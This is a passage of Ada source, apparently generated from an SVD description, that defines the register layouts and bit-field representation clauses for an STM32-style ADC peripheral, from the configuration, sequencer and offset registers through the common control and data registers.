-- ADC configuration register 1
type CFGR_Register is record
-- ADC DMA transfer enable
DMNGT : CFGR_DMNGT_Field := 16#0#;
-- ADC data resolution
RES : CFGR_RES_Field := 16#0#;
-- ADC group regular external trigger source
EXTSEL : CFGR_EXTSEL_Field := 16#0#;
-- ADC group regular external trigger polarity
EXTEN : CFGR_EXTEN_Field := 16#0#;
-- ADC group regular overrun configuration
OVRMOD : Boolean := False;
-- ADC group regular continuous conversion mode
CONT : Boolean := False;
-- ADC low power auto wait
AUTDLY : Boolean := False;
-- unspecified
Reserved_15_15 : HAL.Bit := 16#0#;
-- ADC group regular sequencer discontinuous mode
DISCEN : Boolean := False;
-- ADC group regular sequencer discontinuous number of ranks
DISCNUM : CFGR_DISCNUM_Field := 16#0#;
-- ADC group injected sequencer discontinuous mode
JDISCEN : Boolean := False;
-- ADC group injected contexts queue mode
JQM : Boolean := False;
-- ADC analog watchdog 1 monitoring a single channel or all channels
AWD1SGL : Boolean := False;
-- ADC analog watchdog 1 enable on scope ADC group regular
AWD1EN : Boolean := False;
-- ADC analog watchdog 1 enable on scope ADC group injected
JAWD1EN : Boolean := False;
-- ADC group injected automatic trigger mode
JAUTO : Boolean := False;
-- ADC analog watchdog 1 monitored channel selection
AWD1CH : CFGR_AWD1CH_Field := 16#0#;
-- ADC group injected contexts queue disable
JQDIS : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CFGR_Register use record
DMNGT at 0 range 0 .. 1;
RES at 0 range 2 .. 4;
EXTSEL at 0 range 5 .. 9;
EXTEN at 0 range 10 .. 11;
OVRMOD at 0 range 12 .. 12;
CONT at 0 range 13 .. 13;
AUTDLY at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
DISCEN at 0 range 16 .. 16;
DISCNUM at 0 range 17 .. 19;
JDISCEN at 0 range 20 .. 20;
JQM at 0 range 21 .. 21;
AWD1SGL at 0 range 22 .. 22;
AWD1EN at 0 range 23 .. 23;
JAWD1EN at 0 range 24 .. 24;
JAUTO at 0 range 25 .. 25;
AWD1CH at 0 range 26 .. 30;
JQDIS at 0 range 31 .. 31;
end record;
subtype CFGR2_OVSS_Field is HAL.UInt4;
-- CFGR2_RSHIFT array
type CFGR2_RSHIFT_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for CFGR2_RSHIFT
type CFGR2_RSHIFT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- RSHIFT as a value
Val : HAL.UInt4;
when True =>
-- RSHIFT as an array
Arr : CFGR2_RSHIFT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for CFGR2_RSHIFT_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
subtype CFGR2_OSR_Field is HAL.UInt10;
subtype CFGR2_LSHIFT_Field is HAL.UInt4;
-- ADC configuration register 2
type CFGR2_Register is record
-- ADC oversampler enable on scope ADC group regular
ROVSE : Boolean := False;
-- ADC oversampler enable on scope ADC group injected
JOVSE : Boolean := False;
-- unspecified
Reserved_2_4 : HAL.UInt3 := 16#0#;
-- ADC oversampling shift
OVSS : CFGR2_OVSS_Field := 16#0#;
-- ADC oversampling discontinuous mode (triggered mode) for ADC group
-- regular
TROVS : Boolean := False;
-- Regular Oversampling mode
ROVSM : Boolean := False;
-- Right-shift data after Offset 1 correction
RSHIFT : CFGR2_RSHIFT_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_15_15 : HAL.Bit := 16#0#;
-- Oversampling ratio
OSR : CFGR2_OSR_Field := 16#0#;
-- unspecified
Reserved_26_27 : HAL.UInt2 := 16#0#;
-- Left shift factor
LSHIFT : CFGR2_LSHIFT_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CFGR2_Register use record
ROVSE at 0 range 0 .. 0;
JOVSE at 0 range 1 .. 1;
Reserved_2_4 at 0 range 2 .. 4;
OVSS at 0 range 5 .. 8;
TROVS at 0 range 9 .. 9;
ROVSM at 0 range 10 .. 10;
RSHIFT at 0 range 11 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
OSR at 0 range 16 .. 25;
Reserved_26_27 at 0 range 26 .. 27;
LSHIFT at 0 range 28 .. 31;
end record;
-- SMPR1_SMP array element
subtype SMPR1_SMP_Element is HAL.UInt3;
-- SMPR1_SMP array
type SMPR1_SMP_Field_Array is array (1 .. 9) of SMPR1_SMP_Element
with Component_Size => 3, Size => 27;
-- Type definition for SMPR1_SMP
type SMPR1_SMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- SMP as a value
Val : HAL.UInt27;
when True =>
-- SMP as an array
Arr : SMPR1_SMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 27;
for SMPR1_SMP_Field use record
Val at 0 range 0 .. 26;
Arr at 0 range 0 .. 26;
end record;
-- ADC sampling time register 1
type SMPR1_Register is record
-- unspecified
Reserved_0_2 : HAL.UInt3 := 16#0#;
-- ADC channel 1 sampling time selection
SMP : SMPR1_SMP_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_30_31 : HAL.UInt2 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SMPR1_Register use record
Reserved_0_2 at 0 range 0 .. 2;
SMP at 0 range 3 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
-- SMPR2_SMP array element
subtype SMPR2_SMP_Element is HAL.UInt3;
-- SMPR2_SMP array
type SMPR2_SMP_Field_Array is array (10 .. 19) of SMPR2_SMP_Element
with Component_Size => 3, Size => 30;
-- Type definition for SMPR2_SMP
type SMPR2_SMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- SMP as a value
Val : HAL.UInt30;
when True =>
-- SMP as an array
Arr : SMPR2_SMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 30;
for SMPR2_SMP_Field use record
Val at 0 range 0 .. 29;
Arr at 0 range 0 .. 29;
end record;
-- ADC sampling time register 2
type SMPR2_Register is record
-- ADC channel 10 sampling time selection
SMP : SMPR2_SMP_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_30_31 : HAL.UInt2 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SMPR2_Register use record
SMP at 0 range 0 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
subtype PCSEL_PCSEL_Field is HAL.UInt20;
-- ADC pre channel selection register
type PCSEL_Register is record
-- Channel x (VINP[i]) pre selection
PCSEL : PCSEL_PCSEL_Field := 16#0#;
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for PCSEL_Register use record
PCSEL at 0 range 0 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
subtype LTR1_LTR1_Field is HAL.UInt26;
-- ADC analog watchdog 1 threshold register
type LTR1_Register is record
-- ADC analog watchdog 1 threshold low
LTR1 : LTR1_LTR1_Field := 16#3FF0000#;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#3#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for LTR1_Register use record
LTR1 at 0 range 0 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
subtype HTR1_HTR1_Field is HAL.UInt26;
-- ADC analog watchdog 1 threshold register
type HTR1_Register is record
-- ADC analog watchdog 1 threshold low
HTR1 : HTR1_HTR1_Field := 16#3FF0000#;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#3#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for HTR1_Register use record
HTR1 at 0 range 0 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
subtype SQR1_L_Field is HAL.UInt4;
subtype SQR1_SQ1_Field is HAL.UInt5;
subtype SQR1_SQ2_Field is HAL.UInt5;
subtype SQR1_SQ3_Field is HAL.UInt5;
subtype SQR1_SQ4_Field is HAL.UInt5;
-- ADC group regular sequencer ranks register 1
type SQR1_Register is record
-- L
L : SQR1_L_Field := 16#0#;
-- unspecified
Reserved_4_5 : HAL.UInt2 := 16#0#;
-- ADC group regular sequencer rank 1
SQ1 : SQR1_SQ1_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 2
SQ2 : SQR1_SQ2_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 3
SQ3 : SQR1_SQ3_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 4
SQ4 : SQR1_SQ4_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SQR1_Register use record
L at 0 range 0 .. 3;
Reserved_4_5 at 0 range 4 .. 5;
SQ1 at 0 range 6 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
SQ2 at 0 range 12 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
SQ3 at 0 range 18 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
SQ4 at 0 range 24 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
subtype SQR2_SQ5_Field is HAL.UInt5;
subtype SQR2_SQ6_Field is HAL.UInt5;
subtype SQR2_SQ7_Field is HAL.UInt5;
subtype SQR2_SQ8_Field is HAL.UInt5;
subtype SQR2_SQ9_Field is HAL.UInt5;
-- ADC group regular sequencer ranks register 2
type SQR2_Register is record
-- ADC group regular sequencer rank 5
SQ5 : SQR2_SQ5_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 6
SQ6 : SQR2_SQ6_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 7
SQ7 : SQR2_SQ7_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 8
SQ8 : SQR2_SQ8_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 9
SQ9 : SQR2_SQ9_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SQR2_Register use record
SQ5 at 0 range 0 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
SQ6 at 0 range 6 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
SQ7 at 0 range 12 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
SQ8 at 0 range 18 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
SQ9 at 0 range 24 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
subtype SQR3_SQ10_Field is HAL.UInt5;
subtype SQR3_SQ11_Field is HAL.UInt5;
subtype SQR3_SQ12_Field is HAL.UInt5;
subtype SQR3_SQ13_Field is HAL.UInt5;
subtype SQR3_SQ14_Field is HAL.UInt5;
-- ADC group regular sequencer ranks register 3
type SQR3_Register is record
-- ADC group regular sequencer rank 10
SQ10 : SQR3_SQ10_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 11
SQ11 : SQR3_SQ11_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 12
SQ12 : SQR3_SQ12_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 13
SQ13 : SQR3_SQ13_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 14
SQ14 : SQR3_SQ14_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SQR3_Register use record
SQ10 at 0 range 0 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
SQ11 at 0 range 6 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
SQ12 at 0 range 12 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
SQ13 at 0 range 18 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
SQ14 at 0 range 24 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
subtype SQR4_SQ15_Field is HAL.UInt5;
subtype SQR4_SQ16_Field is HAL.UInt5;
-- ADC group regular sequencer ranks register 4
type SQR4_Register is record
-- ADC group regular sequencer rank 15
SQ15 : SQR4_SQ15_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- ADC group regular sequencer rank 16
SQ16 : SQR4_SQ16_Field := 16#0#;
-- unspecified
Reserved_11_31 : HAL.UInt21 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SQR4_Register use record
SQ15 at 0 range 0 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
SQ16 at 0 range 6 .. 10;
Reserved_11_31 at 0 range 11 .. 31;
end record;
subtype JSQR_JL_Field is HAL.UInt2;
subtype JSQR_JEXTSEL_Field is HAL.UInt5;
subtype JSQR_JEXTEN_Field is HAL.UInt2;
subtype JSQR_JSQ1_Field is HAL.UInt5;
subtype JSQR_JSQ2_Field is HAL.UInt5;
subtype JSQR_JSQ3_Field is HAL.UInt5;
subtype JSQR_JSQ4_Field is HAL.UInt5;
-- ADC group injected sequencer register
type JSQR_Register is record
-- ADC group injected sequencer scan length
JL : JSQR_JL_Field := 16#0#;
-- ADC group injected external trigger source
JEXTSEL : JSQR_JEXTSEL_Field := 16#0#;
-- ADC group injected external trigger polarity
JEXTEN : JSQR_JEXTEN_Field := 16#0#;
-- ADC group injected sequencer rank 1
JSQ1 : JSQR_JSQ1_Field := 16#0#;
-- unspecified
Reserved_14_14 : HAL.Bit := 16#0#;
-- ADC group injected sequencer rank 2
JSQ2 : JSQR_JSQ2_Field := 16#0#;
-- unspecified
Reserved_20_20 : HAL.Bit := 16#0#;
-- ADC group injected sequencer rank 3
JSQ3 : JSQR_JSQ3_Field := 16#0#;
-- unspecified
Reserved_26_26 : HAL.Bit := 16#0#;
-- ADC group injected sequencer rank 4
JSQ4 : JSQR_JSQ4_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for JSQR_Register use record
JL at 0 range 0 .. 1;
JEXTSEL at 0 range 2 .. 6;
JEXTEN at 0 range 7 .. 8;
JSQ1 at 0 range 9 .. 13;
Reserved_14_14 at 0 range 14 .. 14;
JSQ2 at 0 range 15 .. 19;
Reserved_20_20 at 0 range 20 .. 20;
JSQ3 at 0 range 21 .. 25;
Reserved_26_26 at 0 range 26 .. 26;
JSQ4 at 0 range 27 .. 31;
end record;
subtype OFR1_OFFSET1_Field is HAL.UInt26;
subtype OFR1_OFFSET1_CH_Field is HAL.UInt5;
-- ADC offset number 1 register
type OFR1_Register is record
-- ADC offset number 1 offset level
OFFSET1 : OFR1_OFFSET1_Field := 16#0#;
-- ADC offset number 1 channel selection
OFFSET1_CH : OFR1_OFFSET1_CH_Field := 16#0#;
-- ADC offset number 1 enable
SSATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for OFR1_Register use record
OFFSET1 at 0 range 0 .. 25;
OFFSET1_CH at 0 range 26 .. 30;
SSATE at 0 range 31 .. 31;
end record;
subtype OFR2_OFFSET2_Field is HAL.UInt26;
subtype OFR2_OFFSET2_CH_Field is HAL.UInt5;
-- ADC offset number 2 register
type OFR2_Register is record
-- ADC offset number 1 offset level
OFFSET2 : OFR2_OFFSET2_Field := 16#0#;
-- ADC offset number 1 channel selection
OFFSET2_CH : OFR2_OFFSET2_CH_Field := 16#0#;
-- ADC offset number 1 enable
SSATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for OFR2_Register use record
OFFSET2 at 0 range 0 .. 25;
OFFSET2_CH at 0 range 26 .. 30;
SSATE at 0 range 31 .. 31;
end record;
subtype OFR3_OFFSET3_Field is HAL.UInt26;
subtype OFR3_OFFSET3_CH_Field is HAL.UInt5;
-- ADC offset number 3 register
type OFR3_Register is record
-- ADC offset number 1 offset level
OFFSET3 : OFR3_OFFSET3_Field := 16#0#;
-- ADC offset number 1 channel selection
OFFSET3_CH : OFR3_OFFSET3_CH_Field := 16#0#;
-- ADC offset number 1 enable
SSATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for OFR3_Register use record
OFFSET3 at 0 range 0 .. 25;
OFFSET3_CH at 0 range 26 .. 30;
SSATE at 0 range 31 .. 31;
end record;
subtype OFR4_OFFSET4_Field is HAL.UInt26;
subtype OFR4_OFFSET4_CH_Field is HAL.UInt5;
-- ADC offset number 4 register
type OFR4_Register is record
-- ADC offset number 1 offset level
OFFSET4 : OFR4_OFFSET4_Field := 16#0#;
-- ADC offset number 1 channel selection
OFFSET4_CH : OFR4_OFFSET4_CH_Field := 16#0#;
-- ADC offset number 1 enable
SSATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for OFR4_Register use record
OFFSET4 at 0 range 0 .. 25;
OFFSET4_CH at 0 range 26 .. 30;
SSATE at 0 range 31 .. 31;
end record;
subtype AWD2CR_AWD2CH_Field is HAL.UInt20;
-- ADC analog watchdog 2 configuration register
type AWD2CR_Register is record
-- ADC analog watchdog 2 monitored channel selection
AWD2CH : AWD2CR_AWD2CH_Field := 16#0#;
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for AWD2CR_Register use record
AWD2CH at 0 range 0 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
subtype AWD3CR_AWD3CH_Field is HAL.UInt20;
-- ADC analog watchdog 3 configuration register
type AWD3CR_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- ADC analog watchdog 3 monitored channel selection
AWD3CH : AWD3CR_AWD3CH_Field := 16#0#;
-- unspecified
Reserved_21_31 : HAL.UInt11 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for AWD3CR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
AWD3CH at 0 range 1 .. 20;
Reserved_21_31 at 0 range 21 .. 31;
end record;
subtype LTR2_LTR2_Field is HAL.UInt26;
-- ADC watchdog lower threshold register 2
type LTR2_Register is record
-- Analog watchdog 2 lower threshold
LTR2 : LTR2_LTR2_Field := 16#0#;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for LTR2_Register use record
LTR2 at 0 range 0 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
subtype HTR2_HTR2_Field is HAL.UInt26;
-- ADC watchdog higher threshold register 2
type HTR2_Register is record
-- Analog watchdog 2 higher threshold
HTR2 : HTR2_HTR2_Field := 16#0#;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for HTR2_Register use record
HTR2 at 0 range 0 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
subtype LTR3_LTR3_Field is HAL.UInt26;
-- ADC watchdog lower threshold register 3
type LTR3_Register is record
-- Analog watchdog 3 lower threshold
LTR3 : LTR3_LTR3_Field := 16#0#;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for LTR3_Register use record
LTR3 at 0 range 0 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
subtype HTR3_HTR3_Field is HAL.UInt26;
-- ADC watchdog higher threshold register 3
type HTR3_Register is record
-- Analog watchdog 3 higher threshold
HTR3 : HTR3_HTR3_Field := 16#0#;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for HTR3_Register use record
HTR3 at 0 range 0 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
subtype DIFSEL_DIFSEL_Field is HAL.UInt20;
-- ADC channel differential or single-ended mode selection register
type DIFSEL_Register is record
-- ADC channel differential or single-ended mode for channel
DIFSEL : DIFSEL_DIFSEL_Field := 16#0#;
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for DIFSEL_Register use record
DIFSEL at 0 range 0 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
subtype CALFACT_CALFACT_S_Field is HAL.UInt11;
subtype CALFACT_CALFACT_D_Field is HAL.UInt11;
-- ADC calibration factors register
type CALFACT_Register is record
-- ADC calibration factor in single-ended mode
CALFACT_S : CALFACT_CALFACT_S_Field := 16#0#;
-- unspecified
Reserved_11_15 : HAL.UInt5 := 16#0#;
-- ADC calibration factor in differential mode
CALFACT_D : CALFACT_CALFACT_D_Field := 16#0#;
-- unspecified
Reserved_27_31 : HAL.UInt5 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CALFACT_Register use record
CALFACT_S at 0 range 0 .. 10;
Reserved_11_15 at 0 range 11 .. 15;
CALFACT_D at 0 range 16 .. 26;
Reserved_27_31 at 0 range 27 .. 31;
end record;
subtype CALFACT2_LINCALFACT_Field is HAL.UInt30;
-- ADC Calibration Factor register 2
type CALFACT2_Register is record
-- Linearity Calibration Factor
LINCALFACT : CALFACT2_LINCALFACT_Field := 16#0#;
-- unspecified
Reserved_30_31 : HAL.UInt2 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CALFACT2_Register use record
LINCALFACT at 0 range 0 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
-- ADC Common status register
type CSR_Register is record
-- Read-only. Master ADC ready
ADRDY_MST : Boolean;
-- Read-only. End of Sampling phase flag of the master ADC
EOSMP_MST : Boolean;
-- Read-only. End of regular conversion of the master ADC
EOC_MST : Boolean;
-- Read-only. End of regular sequence flag of the master ADC
EOS_MST : Boolean;
-- Read-only. Overrun flag of the master ADC
OVR_MST : Boolean;
-- Read-only. End of injected conversion flag of the master ADC
JEOC_MST : Boolean;
-- Read-only. End of injected sequence flag of the master ADC
JEOS_MST : Boolean;
-- Read-only. Analog watchdog 1 flag of the master ADC
AWD1_MST : Boolean;
-- Read-only. Analog watchdog 2 flag of the master ADC
AWD2_MST : Boolean;
-- Read-only. Analog watchdog 3 flag of the master ADC
AWD3_MST : Boolean;
-- Read-only. Injected Context Queue Overflow flag of the master ADC
JQOVF_MST : Boolean;
-- unspecified
Reserved_11_15 : HAL.UInt5;
-- Read-only. Slave ADC ready
ADRDY_SLV : Boolean;
-- Read-only. End of Sampling phase flag of the slave ADC
EOSMP_SLV : Boolean;
-- Read-only. End of regular conversion of the slave ADC
EOC_SLV : Boolean;
-- Read-only. End of regular sequence flag of the slave ADC
EOS_SLV : Boolean;
-- Read-only. Overrun flag of the slave ADC
OVR_SLV : Boolean;
-- Read-only. End of injected conversion flag of the slave ADC
JEOC_SLV : Boolean;
-- Read-only. End of injected sequence flag of the slave ADC
JEOS_SLV : Boolean;
-- Read-only. Analog watchdog 1 flag of the slave ADC
AWD1_SLV : Boolean;
-- Read-only. Analog watchdog 2 flag of the slave ADC
AWD2_SLV : Boolean;
-- Read-only. Analog watchdog 3 flag of the slave ADC
AWD3_SLV : Boolean;
-- Read-only. Injected Context Queue Overflow flag of the slave ADC
JQOVF_SLV : Boolean;
-- unspecified
Reserved_27_31 : HAL.UInt5;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CSR_Register use record
ADRDY_MST at 0 range 0 .. 0;
EOSMP_MST at 0 range 1 .. 1;
EOC_MST at 0 range 2 .. 2;
EOS_MST at 0 range 3 .. 3;
OVR_MST at 0 range 4 .. 4;
JEOC_MST at 0 range 5 .. 5;
JEOS_MST at 0 range 6 .. 6;
AWD1_MST at 0 range 7 .. 7;
AWD2_MST at 0 range 8 .. 8;
AWD3_MST at 0 range 9 .. 9;
JQOVF_MST at 0 range 10 .. 10;
Reserved_11_15 at 0 range 11 .. 15;
ADRDY_SLV at 0 range 16 .. 16;
EOSMP_SLV at 0 range 17 .. 17;
EOC_SLV at 0 range 18 .. 18;
EOS_SLV at 0 range 19 .. 19;
OVR_SLV at 0 range 20 .. 20;
JEOC_SLV at 0 range 21 .. 21;
JEOS_SLV at 0 range 22 .. 22;
AWD1_SLV at 0 range 23 .. 23;
AWD2_SLV at 0 range 24 .. 24;
AWD3_SLV at 0 range 25 .. 25;
JQOVF_SLV at 0 range 26 .. 26;
Reserved_27_31 at 0 range 27 .. 31;
end record;
subtype CCR_DUAL_Field is HAL.UInt5;
subtype CCR_DELAY_Field is HAL.UInt4;
subtype CCR_DAMDF_Field is HAL.UInt2;
subtype CCR_CKMODE_Field is HAL.UInt2;
subtype CCR_PRESC_Field is HAL.UInt4;
-- ADC common control register
type CCR_Register is record
-- Dual ADC mode selection
DUAL : CCR_DUAL_Field := 16#0#;
-- unspecified
Reserved_5_7 : HAL.UInt3 := 16#0#;
-- Delay between 2 sampling phases
DELAY_k : CCR_DELAY_Field := 16#0#;
-- unspecified
Reserved_12_13 : HAL.UInt2 := 16#0#;
-- Dual ADC Mode Data Format
DAMDF : CCR_DAMDF_Field := 16#0#;
-- ADC clock mode
CKMODE : CCR_CKMODE_Field := 16#0#;
-- ADC prescaler
PRESC : CCR_PRESC_Field := 16#0#;
-- VREFINT enable
VREFEN : Boolean := False;
-- Temperature sensor enable
TSEN : Boolean := False;
-- VBAT enable
VBATEN : Boolean := False;
-- unspecified
Reserved_25_31 : HAL.UInt7 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CCR_Register use record
DUAL at 0 range 0 .. 4;
Reserved_5_7 at 0 range 5 .. 7;
DELAY_k at 0 range 8 .. 11;
Reserved_12_13 at 0 range 12 .. 13;
DAMDF at 0 range 14 .. 15;
CKMODE at 0 range 16 .. 17;
PRESC at 0 range 18 .. 21;
VREFEN at 0 range 22 .. 22;
TSEN at 0 range 23 .. 23;
VBATEN at 0 range 24 .. 24;
Reserved_25_31 at 0 range 25 .. 31;
end record;
subtype CDR_RDATA_MST_Field is HAL.UInt16;
subtype CDR_RDATA_SLV_Field is HAL.UInt16;
-- ADC common regular data register for dual and triple modes
type CDR_Register is record
-- Read-only. Regular data of the master ADC
RDATA_MST : CDR_RDATA_MST_Field;
-- Read-only. Regular data of the slave ADC
RDATA_SLV : CDR_RDATA_SLV_Field;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CDR_Register use record
RDATA_MST at 0 range 0 .. 15;
RDATA_SLV at 0 range 16 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- Analog to Digital Converter
type ADC1_Peripheral is record
-- ADC interrupt and status register
ISR : aliased ISR_Register;
-- ADC interrupt enable register
IER : aliased IER_Register;
-- ADC control register
CR : aliased CR_Register;
-- ADC configuration register 1
CFGR : aliased CFGR_Register;
-- ADC configuration register 2
CFGR2 : aliased CFGR2_Register;
-- ADC sampling time register 1
SMPR1 : aliased SMPR1_Register;
-- ADC sampling time register 2
SMPR2 : aliased SMPR2_Register;
-- ADC pre channel selection register
PCSEL : aliased PCSEL_Register;
-- ADC analog watchdog 1 threshold register
LTR1 : aliased LTR1_Register;
-- ADC analog watchdog 1 threshold register
HTR1 : aliased HTR1_Register;
-- ADC group regular sequencer ranks register 1
SQR1 : aliased SQR1_Register;
-- ADC group regular sequencer ranks register 2
SQR2 : aliased SQR2_Register;
-- ADC group regular sequencer ranks register 3
SQR3 : aliased SQR3_Register;
-- ADC group regular sequencer ranks register 4
SQR4 : aliased SQR4_Register;
-- ADC group regular conversion data register
DR : aliased HAL.UInt32;
-- ADC group injected sequencer register
JSQR : aliased JSQR_Register;
-- ADC offset number 1 register
OFR1 : aliased OFR1_Register;
-- ADC offset number 2 register
OFR2 : aliased OFR2_Register;
-- ADC offset number 3 register
OFR3 : aliased OFR3_Register;
-- ADC offset number 4 register
OFR4 : aliased OFR4_Register;
-- ADC group injected sequencer rank 1 register
JDR1 : aliased HAL.UInt32;
-- ADC group injected sequencer rank 2 register
JDR2 : aliased HAL.UInt32;
-- ADC group injected sequencer rank 3 register
JDR3 : aliased HAL.UInt32;
-- ADC group injected sequencer rank 4 register
JDR4 : aliased HAL.UInt32;
-- ADC analog watchdog 2 configuration register
AWD2CR : aliased AWD2CR_Register;
-- ADC analog watchdog 3 configuration register
AWD3CR : aliased AWD3CR_Register;
-- ADC watchdog lower threshold register 2
LTR2 : aliased LTR2_Register;
-- ADC watchdog higher threshold register 2
HTR2 : aliased HTR2_Register;
-- ADC watchdog lower threshold register 3
LTR3 : aliased LTR3_Register;
-- ADC watchdog higher threshold register 3
HTR3 : aliased HTR3_Register;
-- ADC channel differential or single-ended mode selection register
DIFSEL : aliased DIFSEL_Register;
-- ADC calibration factors register
CALFACT : aliased CALFACT_Register;
